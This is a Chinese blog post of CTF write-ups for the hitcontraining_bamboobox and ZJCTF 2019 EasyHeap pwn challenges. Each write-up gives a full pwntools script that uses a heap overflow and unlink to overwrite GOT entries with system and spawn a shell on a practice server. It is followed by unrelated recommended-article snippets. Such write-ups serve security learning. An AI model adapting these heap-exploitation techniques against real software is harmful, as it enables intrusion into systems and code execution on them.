【pwn】 hitcontrain_bamboobox && ZJCTF_19_EasyHeap

[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink) hitcontraining_bamboobox 附件 步骤 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看大概的执行情况,经典的堆题的菜单,并且根据第一行的提示,估计存在后门 64位ida载入,猜测有后门,检索字符串果真发现了后门,不过根据buu的习性,一般flag在根目录下,这个后门应该用不大上,先记一下magic_addr=0x400d49 main()函数,发现输入5的时候会去执行v4[1],v4[1]里面是goodbye_message的地址,如果后门的 阅读详情

这两个题目类似,放在一起写。
例行检查
在这里插入图片描述
没有pie,got表可写。
程序逻辑
edit功能都存在堆溢出,堆指针都保存在bss段上,可以通过unlink对got表进行读写。本来两个程序都存在后门,但是oj在部署的时候路径有点问题,所以就想办法获取shell。
bamboobox存在show功能,可以泄露libc地址。
easyheap刚好程序中存在system函数。

bamboobox

from pwn import *

io=remote('node3.buuoj.cn',28140)

def add(size,data):
    io.recvuntil('choice:')
    io.sendline('2')
    io.recvuntil('name:')
    io.sendline(str(size))
    io.recvuntil('item:')
    io.send(data)

def free(idx):
    io.recvuntil('choice:')
    io.sendline('4')
    io.recvuntil('index of item:')
    io.sendline(str(idx))

def edit(idx,size,data):
    io.recvuntil('choice:')
    io.sendline('3')
    io.recvuntil('of item:')
    io.sendline(str(idx))
    io.recvuntil('item name:')
    io.sendline(str(size))
    io.recvuntil('the item:')
    io.send(data)

def show():
    io.recvuntil('choice:')
    io.sendline('1')   

ptr=0x6020d8
puts_got=0x602020
free_got=0x602018

add(0x30,'a')#0
add(0x30,'a')#1
add(0x80,'b')#2
add(0x80,'/bin/sh')#3

edit(1,0x100,p64(0)+p64(0x31)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x10+p64(0x30)+p64(0x90))
free(2)
edit(1,0x100,p64(0x30)+p64(puts_got))#1
show()
io.recvuntil('0 : ')
puts_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_add))
sys=puts_add-0x2a300

edit(1,0x100,p64(0x30)+p64(free_got))
edit(0,0x100,p64(sys))
free(3)

io.interactive()

EasyHeap

from pwn import *

io=remote('node3.buuoj.cn',25111)

def add(size,data):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('Heap : ')
    io.sendline(str(size))
    io.recvuntil('heap:')
    io.send(data)

def edit(idx,size,data):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('Index :')
    io.sendline(str(idx))
    io.recvuntil('Heap : ')
    io.sendline(str(size))
    io.recvuntil('heap :')
    io.send(data)

def free(idx):
    io.recvuntil('choice :')
    io.sendline('3')
    io.recvuntil('Index :')
    io.sendline(str(idx))


free_got=0x0602018
sys_plt=0x0400700

ptr=0x6020E0+0x10

add(0x30,'a')#0
add(0x30,'b')#1
add(0x30,'c')#2
add(0x80,'d')#3
add(0x60,'/bin/sh')#4

edit(2,0x100,p64(0)+p64(0x31)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x10+p64(0x30)+p64(0x90))
free(3)
edit(2,0x100,p64(free_got)*2)
edit(0,0x100,p64(sys_plt))
free(4)

io.interactive()
buuoj Pwn writeup 186-190 186 hwb_2019_mergeheap 187 nsctf_online_2019_pwn1 188 roarctf_2019_easyheap 189 0ctf2015_freenote 190 [中关村2019]one_string 阅读详情

相关推荐

DASCTF2022.07赋能赛 - Pwn easyheap

DASCTF 2022.07赋能赛

qq_34010404的博客 1907

萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界

安全保护 IDA查看 main int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-10h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); se

qq_36495104的博客 2246

堆学习入门

借助hitcon training的题目对三种堆的利用方法进行了一个系统的学习,刚入坑的堆小白们可以一起学习一下。题目链接:https://github.com/scwuaptx/HITCON-Training Use after free 记录一波建立文件过程 mkdir + name touch + name echo 'context' > n...

Peanuts 997

[BUUCTF]PWN——[ZJCTF 2019]EasyHeap

[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个选项的函数 add 这边size的大小由我们输入控制,heaparray数组在bss段上存放着我们chunk的指针 edit,简单的根据指针修改对应chunk里的值,但是这里的size也是由我们手动输入的,也就是说只要我们这边输入的size比add的时候输入的size大就会造成溢出 delete,释

mcmuyanga的博客 785

BUUCTF Pwn [ZJCTF 2019]EasyHeap unlink+freehook做法

后续修改0x6020E0的位置为freehook 再修改一次 让其指向system 最后free掉chunk2 就能执行binsh了。delete_heap函数已经将指针清零 无UAF。edit_heap允许自己输入读取字节 存在堆溢出。同时 存储的指针位于bss段。

qq_33348179的博客 409

淘宝/天猫商家必看:不懂技术也能搞懂的奇门对接原理与ERP/WMS联调避坑指南

本文为淘宝/天猫商家详细解析阿里奇门对接原理与ERP/WMS联调避坑指南,帮助不懂技术的商家轻松管理数据对接流程。通过标准化接口和安全传输,奇门解决了代运营店铺数据获取难题,提升发货效率。文章还提供了联调阶段的实用技巧和常见问题解决方案,助力商家高效完成系统对接。

weixin_42519781的博客 587

BUUCTF [ZJCTF 2019]EasyHeap

Partial RELRO 那说明got表可写,可以通过改写got表为想要的函数,堆通常的利用方法 还是老样子,一个堆块管理系统,main函数太长了不放了,就是根据你的输入选择操作 值得一提的是有个这个 这个函数能dedaoflag吗??一会再说,反正system是有了,不用泄露libc了 1.create 可以看到,堆块最多有十个,,还是用了一张表维护着堆块的指针,,这样就让人想把这个...

BengDouLove的博客 3061

FPGA实战:手把手教你用Verilog驱动4.3寸RGB触摸屏(附完整代码)

本文详细介绍了如何使用Verilog语言在FPGA上驱动4.3寸RGB触摸屏,包括时序设计、信号交互原理及完整代码实现。通过双计数器引擎设计和参数化模块,开发者可以高效构建800*480分辨率的显示驱动,并解决工程实践中的信号完整性和时序收敛问题。

rice5的博客 702

【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

/ 往堆中读入数据。

question55的博客 1187

元数据及数据仓库相关概念

文章目录元数据(metadata)的概念Data about Data定义技术元数据业务元数据总结数据仓库ODS简单的理解为 Operational Data Store, 运营数据仓储 数据整合层(也叫做数据缓冲层)EDW简单理解为 Enterprise Data Warehouse, 企业数据仓库ODS与EDW之间的差异使用角色数据来源数据获取性能和及时性数据架构数据共享能力数据系统提供应用数...

frone的专栏 3139

用SimaPro做碳足迹分析:手把手教你完成产品生命周期评估报告

本文详细介绍了如何使用SimaPro进行碳足迹分析,从软件安装到生命周期评估报告的完整流程。通过实战案例演示,帮助制造业企业、咨询机构和科研团队掌握产品生命周期评估(LCA)的核心技术,精准识别环境热点并优化决策,为可持续发展转型提供科学依据。

yhn45678901的博客 715

others_easyheap

思路 堆溢出构造堆块重叠打free_hook为system exp: from pwn import * #p=process('./easyheap') elf=ELF('./easyheap') libc=elf.libc p=remote('node3.buuoj.cn',29973) def add(size,content): p.sendlineafter(':','1') p.s...

doudoudedi 511

PY32F406K1CU6+I2C+ AT24C64 基本配置

【代码】PY32F406K1CU6+I2C+ AT24C64 基本配置。

sam的博客 90

2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th -- WP [pwn]

WP概述EasyHeaprealNoOutputold_thing总结 概述   前天又参加了一次激动人心的比赛,好吧,确实只能说是激动人心,毕竟没有物质回报,好的名次和中将名额总是和自己无缘。废话不多说,直接看wp。   所有题目和环境都在buuoj上有复现,这里感谢buuoj在我学习ctf过程中提供的做题环境以及时不时搞几场比赛来激励(打击/(ㄒoㄒ)/~~)我努力学习。 EasyHeap   题目是常规的堆题,64位程序,保护全开,漏洞也算明显,当然对strdup函数功能不熟悉的同学可能需要调试后才能

lifanxin的博客 1896

基于知识图谱的智能工作流引擎

随着大数据和人工智能技术的快速发展,企业和组织对数据的依赖程度日益增加。为了更好地管理和利用这些数据,知识图谱逐渐成为一种重要的工具。知识图谱不仅能够以结构化的方式表示复杂的知识,而且能够通过推理和查询提供深层次的信息。然而,如何将知识图谱应用于实际业务场景中,尤其是如何构建智能工作流引擎,仍然是一个具有挑战性的问题。智能工作流引擎是一种能够自动化执行复杂业务流程的系统,它可以通过对业务规则和数据的分析,自动生成和优化工作流,从而提高工作效率和准确性。

AI天才研究院 1871

毕业设计:丹麦电力电价预测预测未来24小时的电价pytorch+lstm+历史特征和价格+时间序列 电价预测模型资源 完整代码数据可直接运行

毕业设计:丹麦电力电价预测预测未来24小时的电价pytorch+lstm+历史特征和价格+时间序列 电价预测模型资源 完整代码数据可直接运行

356

ZJCTF_2019_EasyHeap做题记录

本文仅用作自己参考

weixin_52111404的博客 832

Coze智能体开发:开始使用扣子

扣子全新升级!它不仅能帮你办公、做视频、写代码,更具备自主任务执行、探索进化等能力,真正从“陪你聊”走向“帮你干活”。

王国平的博客 124

[ZJCTF 2019]EasyHeap

国际惯例 ida 后门 有cat flag 因为平台是buu所以不考虑能打印flag,别问为什么! add edit del 思路 有堆溢出而且没有PIE,那大概是改写got表了。 WP from pwn import * p = remote('node3.buuoj.cn',28946) elf =ELF('./easyheap') def add(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recv

shidaofu的博客 221

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

buuctf easyheap

主要知识 堆块的结构,fastbin任意地址构造堆块的检查机制, 对题目流程的认真分析 1.检查文件没有地址偏移的保护 2.查看功能。 3.通过堆的溢出生成一块假堆块 4.假堆块可覆盖heaparray[0]为free的got表的地址. 5.通过更改heaparray[0]存的堆块的内容,将free的got覆盖为system的地址。 6.调用free函数并在前面将参数填充为"/bin/sh\x0...

weixin_44932880的博客 626

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

buuctf (babyheap_0ctf_2017)([ZJCTF 2019]EasyHeap)初学堆的两道例题

先了解一下chunk的结构size的低三位表示为:这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。非fastbin的chunk在free时会与物理相邻的空闲chunk合并。

cainiao78777的博客 409

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

【pwn | 堆知识】关于unlink的体会 [ZJCTF EasyHeap]

当进行unlink的时候,正如同它的名字,它是会被从这个链表中取出来的(unlink也就是取消自己的link状态了)主要的思路就是通过创建3个chunk,将第一个chunk通过edit函数来修改chunk内容和下一个chunk的头部,变成一个伪造的空闲chunk,然后free第2个chunk,这会导致第一个chunk被unlink。在我看来,unlink的原理是,当你free了一个chunk的时候,如果你的物理相邻的chunk如果是空闲状态,那么这个空闲的chunk就会被合并,形成一个更大的chunk。

ethan18的博客 486

BUUCTF pwn wp 71 - 75

ciscn_2019_final_3 picoctf_2018_shellcode jarvisoj_level5 npuctf_2020_easyheap hitcontraining_bamboobox

fa1c4的blog 706

最简单的一个堆栈溢出攻击实例 (2) [by Progsoft]

下面我们以Release版本为例,解剖程序。将exe反汇编得到关键代码如下:函数ShowComputerName:   00401030: 8B 4C 24 04        mov         ecx,dword ptr [esp+4]  00401034: 83 EC 0C           sub         esp,0Ch  00401037: 8D 44 24

ProgSoft 2064

【PWN-HEAP】Unlink学习笔记

题目练习 HITCON2016 bamboobox 反编译情况: 程序分析

SWEET0SWAT的博客 957

[BUUCTF]-PWN:[ZJCTF 2019]EasyHeap解析

这是buu上的一道堆题,话不多说直接看保护和ida这里有一个要注意的点,那就是它是partial RELRO,Full RELRO开启说明got表不可写,而这里没有,这是我们解题的一个前提。然后看ida。这里不过多解释,主要还是创建堆块,释放堆块,edit堆块,但是没有打印堆块内容的函数。还有一个要注意的点,那就是他有system函数,并且参数似乎可以利用。虽然在我解题的过程中这个函数压根得不到flag,但我还是想从这一角度讲解一下解题思路,所以我分两个角度来讲。

2301_79326813的博客 1071
上一篇: 【pwn】 ciscn_2019_s_4
下一篇: 【pwn】 [极客大挑战 2019]Not Bad
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值